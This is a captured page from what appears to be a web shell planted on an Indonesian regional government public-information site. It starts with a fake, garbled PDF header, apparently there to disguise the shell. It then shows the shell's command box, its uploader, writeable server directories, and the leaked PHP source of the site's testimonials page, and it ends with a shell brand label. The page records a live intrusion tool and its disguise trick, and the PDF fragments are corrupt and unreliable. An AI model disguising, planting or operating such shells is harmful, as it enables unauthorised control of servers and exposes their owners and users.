%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/testimoni.php
<?php
/**
 * Halaman Testimoni Publik — menampilkan penilaian masyarakat yang telah dipublikasikan.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$stats = testimoni_publik_stats();

$page    = max(1, (int) get_param('page', '1'));
$perPage = 9;
$offset  = ($page - 1) * $perPage;
$totalPages = max(1, (int) ceil(count_testimoni_publik() / $perPage));

$rows = get_testimoni_publik($perPage, $offset);

$pageTitle = 'Testimoni Masyarakat — ' . APP_NAME_SHORT;
$activeNav = '';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';
?>

<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a><span class="mx-2">/</span><span>Testimoni</span>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2">Testimoni Masyarakat</h1>
        <p class="text-green-50 max-w-2xl mb-4">Penilaian dan pengalaman masyarakat atas layanan informasi publik PPID Mamuju Tengah.</p>
        <?php if ($stats['count'] > 0): ?>
            <div class="inline-flex items-center gap-3 bg-white/10 backdrop-blur-sm border border-white/20 rounded-xl px-5 py-3">
                <span class="text-3xl font-extrabold"><?= number_format($stats['avg'], 1) ?></span>
                <div>
                    <?= render_stars($stats['avg'], 'text-sm') ?>
                    <p class="text-xs text-green-100 mt-0.5">dari <?= $stats['count'] ?> penilaian</p>
                </div>
            </div>
        <?php endif; ?>
    </div>
</section>

<main class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">
    <?php if (empty($rows)): ?>
        <div class="text-center py-20 bg-white rounded-2xl border border-slate-100">
            <i class="fas fa-comments text-5xl text-slate-300 mb-4"></i>
            <p class="text-slate-500 font-medium">Belum ada testimoni yang dipublikasikan.</p>
            <a href="<?= e(url('cek-status.php')) ?>" class="inline-block mt-4 text-mateng-blue font-semibold hover:underline">Sudah menerima layanan? Beri penilaian →</a>
        </div>
    <?php else: ?>
        <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
            <?php foreach ($rows as $t): ?>
                <figure class="bg-white border border-slate-100 rounded-2xl p-6 shadow-sm flex flex-col">
                    <div class="flex items-center justify-between mb-4">
                        <?= render_stars((int) $t['rating'], 'text-base') ?>
                        <i class="fas fa-quote-right text-2xl text-slate-100"></i>
                    </div>
                    <blockquote class="text-slate-600 leading-relaxed flex-grow mb-5"><?= $t['isi'] ? e($t['isi']) : '<span class="italic text-slate-400">Memberi rating tanpa komentar.</span>' ?></blockquote>
                    <figcaption class="flex items-center gap-3 border-t border-slate-100 pt-4">
                        <div class="w-10 h-10 rounded-full bg-mateng-green/10 text-mateng-green flex items-center justify-center font-bold uppercase"><?= e(mb_substr($t['nama'], 0, 1)) ?></div>
                        <div>
                            <p class="font-semibold text-slate-800 text-sm"><?= e($t['nama']) ?></p>
                            <p class="text-xs text-slate-400"><?= e(tanggal_id($t['created_at'])) ?></p>
                        </div>
                    </figcaption>
                </figure>
            <?php endforeach; ?>
        </div>

        <?php if ($totalPages > 1): ?>
            <div class="flex justify-center items-center gap-2 mt-10">
                <?php for ($i = 1; $i <= $totalPages; $i++): ?>
                    <a href="<?= e(url('testimoni.php?page=' . $i)) ?>" class="px-4 py-2 rounded-lg border text-sm font-medium <?= $i === $page ? 'bg-mateng-green text-white border-mateng-green' : 'bg-white text-slate-600 border-slate-200 hover:border-mateng-green' ?>"><?= $i ?></a>
                <?php endfor; ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass